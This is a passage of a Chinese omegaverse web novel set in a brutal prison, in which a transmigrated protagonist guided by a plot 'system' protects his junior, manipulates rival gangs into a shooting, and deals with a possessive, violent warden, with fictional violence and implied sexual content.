金红色的天鹅绒帷幕,轻纱,各种各样的装饰,都带着克拉斯特的标志,璧上挂着伪做油灯的电子灯,伸手按去,发着融融亮光。 踩着昂贵地毯,楚青琅抬头,看了一眼天花板。 青年神情是餍足的疲倦,桃花眼轻柔透亮,眼睫上翘,面上肩膀带着斑驳陆离的色彩。 透过监视器,仿佛将视线落在了他的身上,带着鲜明的,甜蜜的重量。 仿佛被烫到了了一般,男人猛的收回了视线。 他逃避似的站起身,走到了窗前。 玻璃模糊映出他高大俊美的身形,黑卷发束起露出眉眼,他神情冷漠傲慢,制服扣子牢牢护住脖颈。浑身带着旧贵族式的苍白阴郁和严谨。 外面澄蓝天空压着墨绿森林,长长的呼吸中,玫瑰信息素馥郁,将他的信息素全然压制。 阿舍尔抬手抚摸后颈,刺痛连绵,顺着脊髓蔓延全身。 恍惚间又回到了那混乱不堪的房间。 昏黄的烛火,黑色的双眼,白色的肌肤,暖融融的吐息。omega给予他的,只有各式各样的痛,于是仅有的一点抚/慰便成了最好的兴奋剂。 Alpha为自己的放纵付出了代价,他成了仅有的,被omega反向标记的alpha。 阿舍尔指尖轻颤,转身又坐到桌子前。 却只看见了那一抹白消失在视野中。 第68章 第 68 章 巴掌。 “叮——” 电梯打开的无声又迅速。 清洗干净自己的楚青琅抬步走进。 右手旁的按键只有两个, 向上或者向下,上面显示楼层的面板也是一片空白。 关押阿舍尔的地方是在地下。 楚青琅抬手按了向上的按钮。 轻微的失重感传来,电梯缓缓移动起来。 不锈钢的材质锃亮,映出穿着宽大衬衣和长裤的俊美青年。 他疲倦的靠在电梯墙壁上, 神情冷淡。 发稍长, 尾部在脖颈上缠绕, 下眼睑与眼尾晕着粉意, 脸侧和敞开的衣领上可以看见淤红痕迹。 又一声轻响,电梯的移动停下。 楚青琅站直, 缓缓吐出了一口气,掀起眼皮。 系统面板上的剧情偏移程度已经超过了60%。 主角攻危在旦夕。 “谁?!” 电梯门打开,先前还只是空荡荡的走廊,赫然站着两个全副武装的狱警。 楚青琅讶异的挑了下眉。 在外面等待的人这么少,看来他们是真的认为他不会活着出来。 看见他的身影, 狱警明显呆滞了一瞬。 “你你” “你什么你?刀疤呢?” 楚青琅不耐的打断他们的话,昂头用下巴指了指前面,“我要见他!” 两个狱警面面相觑了一瞬, 楚青琅横了他们一眼, “磨蹭什么?” 在他的逼视下, 一个人连忙收回抢走到楚青琅的身前带起了路。 “老大,那个omega没有死!” “不没有骗您, 您过来看是。” 身后狱警低声报告的声音逐渐远去。 楚青琅用手捂住嘴, 懒懒的打了个哈欠,他仿佛不经意间说:“刀疤在哪里?为什么没有过来接我?” 身前带路的狱警步伐僵硬,明显的不在状态,在他又提高声音问了一遍后,才反应过来。 “我们老大本来准备过来收——接您, 但是路上碰见了意外,就没有赶过来。” 楚青琅问:“什么意外?还能比我重要?” 那名狱警闭上嘴,嗯了两声,在他的催促中才再次开口。 “有囚犯袭击,老大将人送进医疗室了。” “新来的Alpha?” “是。” 楚青琅明白了,袭击刀疤的人应该就是周峥,但是为什么? 他那小身板又打不过Alpha。 楚青琅不再发问,跟着穿过十字通道来到了外面。 医疗室是单独的建筑,并不在监狱里面。 这并不方便,但是一般的囚犯也没有资格使用医疗资源。他们打架受伤,要么去禁闭室,要么自己等待伤口愈合,死了也不过是被拉到海中喂鱼。 无人在意。 充足的阳光洒落下,特质的窗户外,正是被铁丝网围住的广场。 里面已经有犯人在放风,狱警则持枪靠在铁丝网上吞云吐雾,姿态闲适。 楚青琅只瞥了两眼,就发现了有意思的地方。 所有的犯人分明穿着一样的囚服,但是场上却隐约分成了五块区域,其中四块互不干涉。 但是在角落中的一块,明显畏畏缩缩的,浑身透露着害怕紧绷的气息,有alpha走到他们面前,嬉笑着不断打踹着他们。 但是那些Alpha的目光偶尔对视时,还透露着鲜明的敌意。 至于那个在餐厅想要攻击他的科瑞家族的花面,正坐在一个趴在地上的beta的身上,和其他人交谈着什么。 仿佛察觉到了他的目光,坐在那里的花面忽地扭头。 却只看见了一个穿着漆黑制服的身影。 是狱警?不对,在被挡住的地方,还有一个人。 但是碍于视线,花面只能看见衬衣飘扬的一角。 而那个狱警正侧着头,弓着背,小心翼翼的说着什么。 楚青琅收回视线,漫不经心道: “真的吗?” “是啊,打得老狠了,那个房间里面都是血内脏都被扯出来了,真看不出来,长得斯斯文文的不知道我们老大为什么会把那个Alpha送进医疗室,这一点都不符合他的性格” 狱警渐渐放缓了脚步,信息素阻隔头盔明明亮着绿灯,显示正在使用中,但是和这个omgea走在一起,狱警竟然感觉自己嗅到了一股冷冽的玫瑰味道。 甜蜜的信息素让他头昏脑胀,而那不时落在身上的朦胧眼眸,更让他肾上腺素飙升,属于Alpha面对omega特有的显摆心理,让他在一个个眼神的引导下,将昨晚发生的所有事情都说了出来。 Omega却重新冷淡下去,只是从鼻腔挤出一声轻哼,那融着金光的眼眸移开望着前方。 狱警瞬间感到了不甘,他下意识的思索着脑子里的信息,想要将omega的注意力重新吸引过来。 “我们老大昨天可是看监控器看了你一宿,之前过来的omega他都一点都不在意,而且要不是那位每次易感期总是要” “亚力,你在说什么?” 熟悉的冰冷的声音传来,亚力原本混沌的脑袋瞬间变得清明,心中泛着寒意。 他怎么会透露这么多?! 而对面的人还在等着他的回答,他反应过来挺直了脊背,朝着对方敬了个礼,磕磕巴巴道: “老大!没,没说什么。” 刀疤沉沉盯着他看了几秒,随即移开了视线。 “滚回去守着。” “是!” 亚力瞬间松了一口气,又敬了一次礼以后,转身离开了这里。 脚步声远去,楚青琅和黑沉的视线对上,缓缓露出了笑。 “我的要求做到了吗?” 因为被引诱出了发/情期,青年身上的信息素正在不断逸散,里面夹杂着一股威势极重的Alpha的信息素,几乎不分彼此。 面对Alpha的信息素,刀疤本能的想要放出信息素抵抗,心中烦躁愈深。 刀疤手指搓动,将已经点燃的烟灭掉,声音嘶哑。 “你怎么可能还活着?” 楚青琅朝他走去,看着他衣领上的血迹,眼中冷意蔓延。 “当然是按照你说的——好好使用omega的能力啊。”他声音轻柔,“所以,我的学弟,怎么样了?” 掌端于口袋中震动起来,刀疤却并没有在乎,只是沉默的盯着面前的omega。 青年眼中的寒意越发刺骨,“啪”,抬手给了他一巴掌。 温热细腻的掌心从面颊离开时,带来一股灼热的痒。 刀疤按灭掌端,垂眸低声说:“抱歉。” 看,他就说抱大腿还是有用的,先前还揪着他领子要他老实点的Alpha现在跟条狗一样,乖乖的认错。 而且,这么多的omega都没有成功安抚住阿舍尔,就更加显出了他的珍贵。 楚青琅眼中寒意褪去,重新恢复含情柔软,他揉着掌心,慢条斯理的吩咐,“重复一遍我的要求。” 刀疤感觉到青年对他并未留情。 但是力道是相抵的,青年掌心处的皮肉已经蔓上一层浅红。 应该很痛,所以青年笑都淡了些,只是皱着眉揉着手掌。 他说:“一,更换房间。二,更换洗漱用品,衣服,食物,三,看好您的学弟。” Alpha说完,楚青琅放下手,仰头踢了他一脚,在黑色的裤子上流下了鲜明的脚印。 “要不是你还记得把周峥带到医疗室,我早就让阿舍尔杀了你!” 刀疤并未对青年要杀死他而有任何反应,他瞬间从话中摘取到了重点。 “您知道那位的名字?” 楚青琅一副矜持冷傲的模样,“当然,我可是他的omega,他为什么不和我说?” 但是还没等刀疤再次开口说话,楚青琅就不耐烦起来。 “现在去给我准备东西去,要是等下我回去没有看见,我就毙了你,明白吗?” 刀疤垂眼,将视线从他的脸上移开,落到了地上的光斑上。 “是。” “东西要最好的,不好的话我一样毙了你!还有记得给阿舍尔所在的地方铺上地毯。” 刀疤将手伸向腰间,在青年警惕的目光中将枪安满了弹夹,倾身递给了青年。 “那位所在的地方,我们无法接近。” 楚青琅愣了一下,粗糙的手在他的掌心划过,取而代之的是冰冷沉重的枪支。 刀疤收回手,垂眼,眼皮挡着大半的瞳仁,显得格外深邃,“您现在有这个权力了。” 楚青琅条件反射的握紧了枪,他问:“为什么不能接近,他现在又不在那里?” 刀疤唇角似乎溢出一丝笑意,他说:“有的Alpha只凭借着信息素压迫就能够让人自杀,而且,那里已经有了您的信息素,别的Alpha再进去的话,会增加您的危险。” 楚青琅虽然有着这个世界的记忆,但是确实对于这种相当于Alpha之间约定俗成的东西不太了解。 他只能说:“那就算了,周峥好了吗?” 刀疤侧身,点头。 “已经为他上了修复舱,很快就会好,不会留下后遗症。” 楚青琅哼了一声,迈步朝着医疗室走去。 “那你还不赶紧去准备?” 背后,刀疤看着他的背影消失在门前,从兜里掏出掌端。 “更改信息,021号omega,楚青琅,存活。” “阿舍尔·克莱斯特已被安抚。” “……” “是我会去领罚,西瑞尔大人。” * “学长!” 周峥猛地睁眼,面前是蓝盈盈的水,模糊了他的视线,但是他却仿佛看见了一道熟悉的身影,正站在一旁。 是学长,他没死,他一定没死。 不是,是幻觉,学长死了。 他要报仇。 周峥下意识的挣扎起来,但是周身的修复液却在他恢复意识的瞬间,顺着鼻腔进入咽喉,他难受的呛咳起来。 【已修复完成,请您不要激动,缓慢起身。】 温柔的声音在耳边响起,周围的修复液缓缓的消退,随后,面前的玻璃缓缓打开。 周峥连忙爬出,却在一瞬间软了手脚。 就算是修复好了他身体上的伤痕,但是里面的疼痛却依然存在。 刀疤并未给他加入止痛剂。 但是周峥却并不在乎这点,来到那身影前,伸手要拽,却只有空气从指缝中溜出。 他怔怔的望着掌心,缓缓软了双腿。 冰冷干净的地板映出他失魂落魄的表情。 就算明白刚刚看见的身影只是他的幻觉,但是…… 心脏渐渐沉下,恨意梗在咽喉,他咬着牙抠弄着手背,直到将皮肤弄得伤痕累累。 湿漉漉的液体顺着他的周身滴落,很快在地上凝成一滩,将他的身形扭曲。 楚青琅推开门进去的时候,看见的就是这样一副场景。 主角攻好像是被抛弃的小动物,蜷缩在那里,浑身散发着低落的气场。 被打疼了? 楚青琅疑惑的歪了下头,面前的剧情偏移程度已经停滞,不再上涨。 他拿起一旁挂着的毛巾,扔给了主角攻,坐到了对面的凳子上。 毕竟昨天做了那么久,他还是很累的,要不是主角攻这里出了事情,他才不会过来。 “怎么了?” 清润的声音响起,跪趴在地的人却没有丝毫反应。 楚青琅又叫他,“周峥?” 主角攻浑身抖了一下,缓缓抬起了头,毛巾从他的脊背滑落在地,发出一声轻微的响声。 清俊的面容满是茫然和绝望,眼眶发红,虹膜血丝遍布,仿佛濒临崩溃。 楚青琅一下子坐直了身子,他朝他伸出了手。 “阿峥?” 阳光穿过敞开的窗户跃到指尖,为那白皙的皮肤披上了温柔神圣的朦胧金光。 就像是在船上那样,他们交换了身份,学长才替他死的。 周峥呆呆的看着他,眼泪一颗一颗的滴落,无声隐忍。 “学长,对不起,是我对不起你,才让你死了,还受到那么多的侮” 楚青琅打断他的话,“谁说我死了?我说了我会有办法,为什么不相信?” 周峥摇头,“没有不相信,我乖乖的等着学长,但是直到天亮都没有等到带我一起走吧,我报仇了,那些说学长坏话的人带我一起” 颠三倒四的话语落下,楚青琅瞬间不知道说什么了。 他没有想到还有一天竟然要他证明自己没死 “闭嘴。” 坐在那里的学长姿态优雅,声音是一如既往的冷静,阳光简直对他过于偏爱,将他全身都照的发亮,周峥只能模糊的看见他的轮廓。 但是就算是认定了学长是幻象,他还是乖巧的闭上了嘴,只是眼中的泪水并未停下。 “过来。” 周峥朝他爬去,修复舱使他破碎的骨骼恢复,但是体力却没有,他打了一整晚,早已疲惫不堪,但是他的动作很快。 他来到了学长的身边,却并没有试图触碰他,只是颤抖的抬起手,虚虚握住了学长的指尖。 周峥害怕他一旦触碰,学长就消失不见。 就像是先前那样,要不是他试图出来,学长就会在那里看着他,一直。 他也可以说服自己,学长并没有死。 楚青琅反手握住周峥的手,将人朝着自己拉过来。 他揪着主角攻的发,抬起下巴,冷声道:“清醒一点,我没死。” 周峥空茫的瞳孔颤抖,表情却依然空白。 楚青琅只能又重复了一遍,“我没死,看着我。” 眼中积蓄的泪滚落,睫毛湿漉漉的搭在眼下,周峥仿佛在这一刻才看清他,确认了他的存在。 苍白的唇蠕动,“学长,是真的,是真的学长吗?” 主角攻怎么傻了一样? “学长,学长,别离开我了——” “不会唔。” 楚青琅连忙松手,却还是带下了几根发丝,周峥撞进他的怀中,随即胸膛处传来湿濡呜咽的声音。 他低头看去,却只能看见周峥漆黑的发顶。 楚青琅的手顿在空中,最终还是放在了他的脊背上,轻轻的拍着。 这下子好了,他又要重新洗个澡了。 周峥哭了许久,他本来也只是个学生,突然被绑架过来,还要面对被献上的场面,要不是有楚青琅在,还不知道要受到多少磋磨。 骤然得知学长死亡,周围的人还都用着戏谑的话语调侃他唯一的救赎。 这让他怎么能不发疯。 周峥收紧手臂,感受着温热的体温还有心脏那有力的跳动,眼前却是那一片的血色,掌心还残留着内脏的触感,鲜明极了。 “学长,我杀人了。” 他明明是军校的学生,却虐杀了人,如果被学长知道,他会怎么看他? “被欺负了?” 懒散的声音从头顶响起,脊背后方是安抚的轻拍,“杀了就杀了,这座监狱里面的人,没有无辜的。” 不一样,他是将他们像条鱼一样开膛破肚,鲜血甚至流了满地。 周峥收回眼泪。 但是,他们再也不能说学长的坏话了。 他可以保护学长了。 所以,杀人了也没关系,学长会体谅他 稍微冷静下来,敏锐的感官恢复,周峥瞳孔骤缩。 学长玫瑰信息素中缠绕着陌生的Alpha的信息素,这个信息素充满了敌意,让他生出了恐惧,他甚至本能的想要远离。 周峥却咬着牙,抖着手将楚青琅衣领扒开,在这一瞬间,他彻底看清了学长此时的模样,也看见了学长身上的痕迹。 他挤出声音,“学长,这些——” 楚青琅想了一下道:“没事,只是做了一下,就当解决生理/需求了。” 毕竟难得不是带着锁链做,他其实觉得还好。 但是在周峥眼中,他的脖颈脸侧还带着牙印,青紫淤痕随着呼吸烙在光洁的皮肤上。 分明一副饱受蹂躏的模样,却还假作坚强。 他的学长,Alpha,如此清冷高傲的一个人,却被另一个Alpha如此侮辱…… 他一定会杀了那个人! 楚青琅没有发现他的不对劲,只是看着剧情偏移程度缓缓下降,放下了悬着的心。 光屏后,周峥看起来已经冷静下来,就是眼神有点冷。 楚青琅拨开他的手,将扣子扣上,“收拾一下自己,我们去报仇,你杀的人中间有四大家族的吗?” 主角攻找事的能力这么强,如果不用上就太可惜了。 正好借此机会,给主角攻搞一个势力出来。 虽然联系不到主系统,但是楚青琅觉得这次任务可以完成! 第69章 第 69 章 情人。 “没有科瑞家族的人?” 楚青琅用指尖摆弄着药瓶, 顺手将抑制剂扔给了周峥。 怎么说周峥也是个omega,要是在这中间被alpha引出信息素就不好了。 周峥乖巧的坐在一旁,接过抑制剂后顺手揣进了兜里,然后拿过一旁的毛巾擦拭着头发。 他委婉的将套出来的信息说出来:“原本是, 但是我后面换了个牢房, 那些死的人不是科瑞家族的, 是亚撒家族的附庸的手下。而且在这四个家族里面, 亚撒和科瑞的关系还很好。” 相当于是小弟的小弟,只是平常借着他们的名头狐假虎威, 保证自己不受欺负而已。 楚青琅明白了,给周峥换牢房应该就是刀疤插手的,看来他确实是将他的话放在了心上。 毕竟先前科瑞家族的花面过来找茬,还被他直接打死了一个兄弟,因为他顶上有着阿舍尔, 那些人不敢动他也觉得他本来就是将死之人,所以就将手伸向了他为之出头的周峥身上 原本楚青琅想着如果周峥杀死了科瑞家族的人,他就直接过去将那个花面给弄死, 然后让周峥直接接过科瑞的势力, 但是现在周峥杀死的人还和亚撒家族的沾边, 就比较难办。 楚青琅顿了下手,想起了那个广场上畏缩在一团的人们。 那些人, 应该是新人, 还没有加入任何一个势力。 楚青琅站起身,来到周峥的面前,抬起他的下巴说:“我替你开场,后面你收拢人心,然后将他们逐个击破, 做得到吗?” 周峥看着他的双眼,忽然抬手攥住了他的手腕:“学长,我做得到。” 楚青琅勾唇,挣开手,在他头上薅了一把,“我会帮你的。” 帮助你成为莫菲斯特最后的掌权者,然后他就可以功成身退了。 很少碰见这么听话的任务目标了,楚青琅又捏了下他的脸。 周峥顺从的望着他,就算是感受到痛也没有反抗。 * “老大,狱警嘴完全撬不开,他妈的白费我藏得好烟!” “别的家族也没有消息,只是说那个omega的学弟被刀疤送进了医疗室,看他那样,估计omega早就死了。” “之前不是没有这样的情况,死的omega都直接送出去了。” 染着黄毛的beta叼着一根铁丝,蹲在地上低声对花面说着打听的消息。 阳光刺眼,花面拿起盖在脸上的杂志,掀起眼皮乜了他一眼。 “之前的omega可没有一上来就敢跟我们作对的,个个吓得恨不得叫0母!他没那么容易死,就算是死了,也要把尸体给我拉过来让我鞭尸,明白吗?!” 黄毛beta正要答应,视线却突然直愣愣的望着前方,嘴微张,铁丝啪的掉落在地,砸到趴在地上的beta手上,他的手一抖,将花面直接摔了下来。 “你他么的找死?” 花面顿时沉了脸,撑着地爬起来,直接给了满头大汗的beta一脚。 “对不起老大,对不起我错了” beta蜷缩在地,忍痛哀求,花面却因此揍的更重了。 “老大” 黄毛伸手试图抓住花面,却被其不耐的拍开了手,他又接着喊,拽住了花面的裤腿。 “老大你你看!” “有什么好看——” 花面踩着beta的手,烦躁的扭头,却看见两个人正大光明的从外面朝着那对新人走去。 其中一个赫然就是就是他心心念念的omega。 Omega四肢完好,清高冷淡的模样,看起来,还真的是在那位那里过了夜。 只是,真的去了吗?那位对于omega的厌恶,可是出了名的病态。 花面收回脚,捋了一下发,腮帮绷紧,“去查查刀疤和omega有没有发生关/系。” 总不能是刀疤那家伙铁树开花,为了自己的小情人故意设计蒙他们的。 身旁的小弟并没有第一时间回答,花面低头看去,只见他依然直直的望着omega的方向,一副口水都要流出来的贱样。 花面阴沉着脸,猛地踹了他一脚。 被踹到在地的黄毛才回过了神,爬起来边后退边点头哈腰道:“好的老大,我这就去这就去!” 看着人离开,花面抬步朝着两人走去,未挽起的衣袖下,金属指虎拢着寒光。 * 楚青琅边走边和周峥讲解着等下要干什么。 先前他过来的时候就注意到了,那些新人因为没有加入任何一方的势力,所以正在不断的被欺负。 而那些人被欺负的原因,很有可能就是那些势力在逼迫他们做出选择。 以此减少他们观望的时间。 毕竟四个势力虽然是挂靠着四大家族的名头,但是真正的实力和外面的完全不能比,还是要靠着监狱里面吸纳的人手来判断的。 因此每次来的新人,对于他们来说就是一块香甜的蛋糕。 怎么分,谁大谁小,还需要他们自己来抢。 周峥的优势就是新人,还是和他们一起下船的,所以那些新人会天然的偏向他。 现在,这块蛋糕,是他的了。 “放开他!你们这些垃圾!!!” 楚青琅站在一旁,看着周峥大喊一声,随后上去直接将正在殴打新人的几个alpha撂倒,中间一个脱了裤子的人被打的格外凄惨。 嘭澎嘭的声音传来,伴随着凄厉的惨叫。 那些挤在一起敢怒不敢言新人瞬间瞪大了双眼。 他们认识这个人,是和他们一起的新人。 有人想要上前劝告,但是余光察觉到那些安稳休息的几个团体注意到这里,便又坐了回去。 “唰!” 有人握着匕首袭来,周峥侧身避开,抬手砍了下来人的喉结,随后踩着窒息的人抓住了攻击而来的拳头。 他原本的招式还带着学院派的生涩,但是经过那一晚仿佛进化了一般。 楚青琅看了一会儿,突然觉得他好像招招朝着人的死穴上攻击。 主角攻是这样的人设吗? 唔,也可能是因为环境改变了他。 毕竟这里算得上是弱肉强食。 楚青琅眨了下眼,并没有将这点异样放在心上,而现在,他要开始扯虎皮了。 身后风声袭来,他猛地偏了下头,握着抢反手顶了过去。 转身,花面正缓缓收起拳,神情阴狠,“你怎么会有枪?” 楚青琅举着枪,平静的看着他,食指弯曲,“我为什么不能有?” “砰!” 花面瞳孔骤缩,肩膀却突兀的传来一股巨力将他拉到了一旁,正好让他避开了子弹。 楚青琅可惜的啧了一声。 拉过花面的人面容可爱,金发蓝眼,眉眼弯弯含笑,乍一看去,清秀极了,甚至比楚青琅他们还像个学生。 虽然穿着囚服,但是外面却套了一件衬衣,领子上绣着郁金香的图案,周身也不像别的alpha那样肆意散发信息素,反而克制的收敛起来。 “亚当!这个omega——” 被叫做亚当的alpha看了一眼花面,视线明明柔和,但是花面却瞬间噤声。 虽然他冲动,几个势力中也多有摩擦,但是他们在维持自己的利益上,始终是一体的,因此冷静下来,花面也意识到了不对。 这个omega,从一开始就借着那位直接挑衅他,现在又插手他们对新人的教育 金发蓝眼的alpha朝着楚青琅伸手,“我叫亚当·亚撒·贝奇尔,您可以直接叫我亚当,您没事吧?” 看来不是每个人都和花面一样没有脑子。 这个亚当应该发现了他的想法。 楚青琅收回枪,却并没有伸手握上去,指尖轻敲着枪体,视线移到了另外赶来的人身上。 一个身形高大,肌肉发达的alpha带着人走来,他将囚服的袖子捋起,露出了满手臂的荆棘纹身。 亚当并没有在意他的缄默,反而礼貌的向他介绍起来。 “那个大块头是安东尼奥,他是冯家的。” 接着他又指向了一旁有着黑发琥珀色眼睛,面无表情,留着寸头的alpha。 “这是埃文,夏家族的。” 亚当的金发在阳光下耀眼极了,通透的蓝眼睛看着一旁四肢被扭断,只能不断呻/吟的手下,微微皱了下眉,“您的学弟下手有些重了,他们不过是过来交一下朋友罢了。” 周峥将手从最后一个人身上移开,手臂上的鲜血顺着指尖滴落,他弯腰将被打到在地的人扶起,随后,两人一步一步的旁若无人的朝着挤在一旁的新人走去。 楚青琅同样朝他笑了一下,但是神情依然冷淡,周身被刻意压制的信息素释放出来,原本甜蜜的玫瑰香气经过阿舍尔信息素的缠绕,变得锋利起来。 这是omega、不,是那位的信息素的味道。 亚当眼中有阴影划过,他面容僵硬了一瞬。 楚青琅扫视着他们,漫不经心道:“但是我们并不想跟你们交朋友呢。” 这毫不留情的话让所有人的眼皮跳了一下,一旁的花面咬牙说:“你以为你是谁?一个只会张/腿求/欢的表子还敢插手我们的事情?” 亚当听着,默默的挪了一下脚步。 他并没有被当面拒绝的气愤,语气甚至称得上友好,“确实是我冒犯了,在这里太久了,乍一看见一位如此漂亮的omega就有些急切。” 将人安抚好后,周峥朝着楚青琅走来,鲜血在他的身后滴了一路。 “你是蠢货吗?学长的意思是,我们——”周峥接话嘲讽,划了一圈,指着一旁的新人接着说:“不想和你们有任何交集,明白吗?” 亚当眯了下眼,笑容没有丝毫变化,他说:“这位omega——” 周峥盯着他,“学长叫楚青琅。” 亚当改口,却依然带着alpha特有的傲慢。 “楚青琅,虽然您是那位的情人,但是莫菲斯特里面的事情您还是最好不要插手比较好,这次确实是我们过了,后面我们会好好和他们交流的,您看怎样?” 话音落下,围绕在一旁沉默的alpha都猛地释放起信息素。 他们忍受着相互攻击的欲望,信息素兜天压下,带来莫大的威慑力。 陌生的信息素,让刚和阿舍尔做/过的他有些不适和惊惧。 楚青琅面颊飞红,唇泛白,一双眼却愈发潋滟起来。 周峥攥着手,压下紧张的心情。 他没有想到学长说的开头竟然是这样的开头——直接和莫菲斯特中的四个势力对上! 看着楚青琅的反应,花面的眼神顿时变得轻蔑起来,他啐了一口,“只知道吹枕头风的表子!” 话音刚落,从楚青琅的身上,猛地弥撒出一股锋利冰冷地铁锈信息素,这股信息素将omega全然包裹守护起来,咆哮着想着亚当身后alpha们混杂的信息素撕扯而去。 “这是什么?!!” 所有的alpha在一瞬间从心底感受到了恐惧,他们齐齐后退了一步,甚至有的人不堪重负直接跪倒在了地上。 原地未动的,只有笑着的亚当。 楚青琅抬手摸了下后颈,唇勾了起来,阳光洒落,他神情倨傲散漫。 “你们还不配我给你们面子。” 一旁同样后退的埃文和安东尼奥冷眼看着,并未上前作为出头鸟,他们早就觉得这个omega有点邪性,让亚当和花面过去探探路正好。 反正omega就是发个脾气,就算是要那些新人又如何,后面还会有着源源不断的囚犯。 楚青琅左右扫视了一眼。 不远处挤在一起的新人安静的看着,他们知道楚青琅他们是在为了他们出头,但是,他们却没有丝毫上前帮忙的意思,只有那个被救的人,挣扎着想要起来。 楚青琅明白他们的心思。 能来莫菲斯特监狱的人,还能是什么善心的家伙。 不过他要的也不是他们的帮助和真心,他要的只是名头和人罢了,什么忠诚,莫菲斯特里面不兴这玩意儿。 楚青琅来到了亚当的身旁,一根根撑开他握的死紧的手,将枪放近了他的掌心,侧头凝着他缓缓冷下的侧脸,语气轻飘飘的。 “杀了他,他的势力不就是你的了吗?这不比新人更好吗?” 谁要杀人了?他就是过来探探情况…… 亚当想要收回手,但是因为两人靠的过近,玫瑰信息素下潜藏的alpha的信息素如铡刀放在颈侧一般,让他脊背发寒,烦躁作呕,却又不敢有丝毫动作。 但是那警惕和冷意,却又在反复嗅见馥郁的玫瑰信息素后消散。 轻薄衣衫下,柔然温热的手指纹丝不动,脸侧是俊美的面容,密长的眼睫疏出朦胧的眸子,omega魔鬼一般蛊惑着,半楼着他的肩膀,将枪对准了花面。 “我们并不是对立的,不是吗?” 亚当的头脑有着顷刻间的空白,就仿佛是整个世界被跳帧了一般。 等他反应过来,花面已经眉心中枪,带着惊诧的表情倒地。 而那个omega,正站在一旁笑意盈盈的望着他。 楚青琅做出口型。 “砰!” 亚当猛地握住枪后退了一步,脊背漫上凉意。 莫菲斯特监狱里面四个势力,亚撒和科瑞的关系比较好,无论是决策还是划分利益,都是他们压着另外两股势力先挑,而现在他却杀死了花面 亚当不用回头,就能明白埃文和安东尼奥此时一定露出了贪婪的眼神。 以花面为首的势力在他死后,就是一块肥肉,谁都可以咬上一口莫菲斯特监狱的势力,会来一次大的洗牌。 周峥站在一旁,安静的看着学长轻而易举的分化了最大的两股势力,他按着心脏,努力平复着心情。 事情基本已成定局,楚青琅有些困倦的打了个哈欠,一扭头,却看见了周峥闪亮崇拜的目光。 “那个受伤的,你带他去医务室治疗。” 周峥立马点了点头,“好的学长。” 学长已经将路给他铺平,他就算是再废物,也可以按部就班的走。 * 门打开,繁复奢华的房间入目满是金红,深深浅浅,恍若将坐在中央的人置身火海。 刀疤站到他的面前,此时他身上的粗砺烟气,也被这火焰灼了一遍,冷寂下来。 实木桌子上,omega一路的行动话语,通过监控投影,清晰的落在房间中。 淡色投影成半弧形将阿舍尔环绕。 指尖轻动,就可以抚上omega的面颊。 阿舍尔却只是安静的注视着,冷硬的眼眸没有丝毫波动。 “他们什么关系?” 刀疤垂头,余光看见一面投影被放大展示出来。是在医疗室,alpha搂着omega的腰肢…… “监狱长,那个alpha叫周峥,是楚先生的学弟。” 阿舍尔盯着那落在aloha脊背上的手,“他们关系很好?” 刀疤顿了一瞬,并未下结论,反而说了之前发生的事情。 “先前楚先生进入您那里之后,周峥将他的狱友全部杀死,原因是他们说了对楚先生不友好的话,等了一夜路上看见我之后,想要杀我报仇。” “相比起同学情谊,两人更像情人。” 所以,在他面前那么熟练,是因为早就和别人练习过了吧? 就算不是情人,两人的关系也很好啊。 为了周峥,一个alpha,对上那些势力,忍受污言秽语,甚至和陌生人做/爱。 青年omega是出于什么原因做到这种地步的? ……可真是可怜,偏偏来到了墨菲斯特,碰见了他。 阿舍尔握着钢笔,青色筋络于苍白瘦削的手背显现,危险狂躁的信息素浮动。 刀疤额上冒汗,脊背缓缓弯曲下来。 轻微的嗡鸣声在头顶响起,微凉的空气夹杂着特质抑制剂被送来,落在面颊肌肤上,带来凉意,也唤回了alpha的理智。 他放手,钢笔已经被掰断,漆黑墨汁顺着掌纹流淌,宛如鲜血。 刀疤看着对峙的几人,低声道:“是否需要狱警过去制止?” 阿舍尔垂眸擦拭,声音冷漠。 “他想要什么就给他。” “如果楚先生掌控墨菲斯特之后,越狱?” 阿舍尔扯开嘴角露出浅淡的笑,“他当然知道谁才是需要他用心讨好的人。” 就算爱的是别人又如何,一样只能在他的身下婉转呻/吟。 那个alpha知道他们那么爽吗? 刀疤攥了下手。 阿舍尔站起身,视线落在那相对而立的两人身上。 “今天晚上让这个alpha在门外守着。” 刀疤愕然抬头,只看见阿舍尔阴郁苍白的面孔,和那双压抑着风暴的的双眸。 盯过来,带着刺骨寒意。 “你碰到他了。” 刀疤张了张嘴,却还是弯腰从腿侧抽出了匕首。 闷哼声中,骨骼被生生切断,血腥气在空气中弥散。 阿舍尔冷酷的面容,紧绷的下颌却缓缓放松。 “去医疗室。” “感谢您的仁慈。” 刀疤满头冷汗的跪在地上,捂着其根而断的腕部,将膝盖和断手从鲜血中拔出,踉跄走了出去。 * 楚青琅正准备转身,却看见一群荷枪实弹的狱警向着他走来。 刚刚发生的时候不来,偏偏现在过来? 楚青琅放下掩嘴的手,歪了歪头,目光冷淡。 狱警将那些围过来的alpha同他隔离开。 一个带着信息素隔离头盔的狱警上前低头。 “老大已经按照您的要求将东西准备好了,您可以过去了。” 楚青琅有些意外的挑眉,他察觉出些微的不对劲来。 阿舍尔到底什么身份? 被绑在地下,防他就像是防着一个核弹,但是狱警偏偏又对他如此的恭敬。 简直就像是第五方势力。 他会对他的任务产生影响吗? 楚青琅思索着,跟着狱警来到了一处房间。 门前,刀疤正安静的等待着,察觉他过来,掌心一揉,就将点燃的烟掐灭。 楚青琅瞥了他一眼,伸手推开了门。 就像是地下的那个房间,同样是奢靡豪华的装饰,窗户是落地窗,可以看见远处墨绿色的森林和天空。 一旁的桌子上,摆放着鲜嫩的水果和饭食,甚至在桌子旁边,有盛开的玫瑰插在细颈白瓷花瓶中。 刀疤跟着走进来,指着那玫瑰道:“这是那位为您摘的,希望您喜欢。” 楚青琅伸手摸了一下,指尖顿时沾染上了水色。 “饭呢?” 刀疤没有听懂,他说:“是监狱长自用的厨师团队为您做的。” 楚青琅放下手,走到床铺上,靠躺了下去。 他困倦道:“知道了,你出去吧。” 刀疤顺从的走出去。 关门时,他说:“今晚仍然需要您过去安抚那位,请您做好准备。” 楚青琅拿过抱枕,朝他扔了过去。 “快滚!” 第70章 第 70 章 生殖腔。 天色缓缓暗沉下去, 月亮被轻薄乌云遮住。 好像要下雨。 从床上被叫起的楚青琅恹恹的收回视线,抬手按开电梯。 进去后,视线猛地暗了下来,但是相比起先前的狼狈。 楚青琅在又一次的感受到周围格外浓重的信息素时, 却只感觉到从心底里发出来的战栗。 身体仿佛干涸已久的土地, 终于盼到了下雨天。 楚青琅眼睫翕动, 唇张合, 溢出无声轻叹。 